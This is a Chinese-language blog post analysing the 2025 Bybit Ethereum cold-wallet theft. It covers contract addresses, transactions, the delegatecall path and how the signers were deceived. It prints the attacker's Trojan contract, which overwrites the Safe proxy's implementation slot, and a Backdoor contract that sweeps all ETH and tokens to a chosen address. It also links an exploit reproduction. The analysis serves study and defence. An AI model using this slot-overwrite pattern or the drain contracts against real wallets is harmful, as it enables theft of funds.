Bybit安全事件分析撰写本篇文章目的主要是自我学习,部分内容转自CertiK:https://mp.weixin.qq.com/s/krBPYNyNygoNAsdQQ02zsw一、简述2025.2.21,Bybit以太坊上的某个冷钱包(https://etherscan.io/address
撰写本篇文章目的主要是自我学习,部分内容转自CertiK,原文连接:https://mp.weixin.qq.com/s/krBPYNyNygoNAsdQQ02zsw
2025.2.21,Bybit以太坊上的某个冷钱包(https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4)遭受攻击,根据当前消息,该次功能很有可能由朝鲜LAZARUS黑客组织策划实施,本次攻击导致bybit损失超过14.6亿美元,主要损失包括:
该攻击事件,从整体上来看可以分成四个部分:
1.攻击者部署了一个”木马合约“和一个”后门合约“
Attack Contract (Trojan): https://etherscan.io/address/0x96221423681a6d52e184d440a8efcebb105c7242
Attack Contract (Backdoor): https://etherscan.io/address/0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
2.攻击者诱骗可升级多签”冷钱包“的·签名者,授权执行一笔恶意的ERC-20代币转账,并将其发送到木马合约
Attack tx: https://etherscan.io/tx/0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882
3.木马合约没有执行真正的转账逻辑,而是利用漏洞将实际的Safe多签实现合约的”主控合约“(master copy)替换成了攻击者实现部署的”后门合约“,这个后门合约完全由攻击者控制。
Attack Tx (ETH): https://etherscan.io/tx/0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c
Attack Tx (mETH): https://etherscan.io/tx/0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20
Attack Tx (cmETH): https://etherscan.io/tx/0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647
Attack Tx (stETH): https://etherscan.io/tx/0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0
4.攻击者调用了sweepETH和sweepERC20函数,清空了钱包中的所有ETH、mETH、stETH以及cmETH
本次攻击的恶意合约其实都比较简单,其中木马合约关键内容:
contract Trojan {
address public masterCopy;
constructor() {}
function transfer(address to, uint256 amount) public {
masterCopy = to; // Store the address of the backdoor contract in slot 0
}
}
攻击者就是利用当前合约改变Safe多签实现合约的“主控合约”(master copy)地址,利用delegatecall的特性将主控合约地址换成了攻击者的后门合约。
后门合约内容同样简单:
contract Backdoor {
constructor() {}
function sweepETH(address destination) public {
(bool success, ) = destination.call{value: address(this).balance}("");
require(success, "Failed to sweep ETH");
}
function sweepERC20(address token, address destination) public {
IERC20(token).transfer(destination, IERC20(token).balanceOf(address(this)));
}
}
只有两个函数,sweepETH函数将当前合约中的所有ETH转移到给定地址,sweepERC20函数将当前合约中指定token转移到给定地址。
攻击者诱使三个多重签名钱包的所有者(签名者)签署恶意交易,从而将Safe的实现合约升级为之前部署的含有后门的恶意合约。整个攻击的重点其实就在这里,攻击者将该笔交易包装成transfer,让签名者误以为是一笔token transfer的交易,从而获取到了多签的签名signature(这里仍然有疑点:Safe{Wallet}官方验证界面如何被修改?同时Ben zhou没有在Ledger设备界面二次验证交易信息也是该次攻击发生的部分原因),使得攻击者的恶意升级通过了检查。
恶意交易:https://etherscan.io/tx/0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882
交易函数调用路径为:
Safe代理合约 ===>(delegatecall) Safe实现合约 ===>(delegatecall) 木马合约
攻击者调用代理合约中的execTransaction函数,通过fallback函数回调逻辑合约中的execTransaction函数,在此函数中通过内部调用execute函数,由于传入的参数,导致在execute函数中继续使用delegatecall调用到木马合约。
由于前面两次合约间的调用均使用delegatecall完成,当前执行环境仍为Safe代理合约执行环境,在木马合约中通过transfer函数来改变当前执行环境的 storage slot1,实际上就是Safe代理合约中存放Safe实现合约的slot,完成将自己的后门合约地址存放到Safe代理合约中。
这一部分其实就很简单,由于Safe实现合约已经被替换成了后门合约,攻击者只需要正常通过代理合约调用实现合约中的两个函数
sweepETH与sweepERC20就可以将代理合约中的全部资产转移走。
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-02/Bybit_exp.sol
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!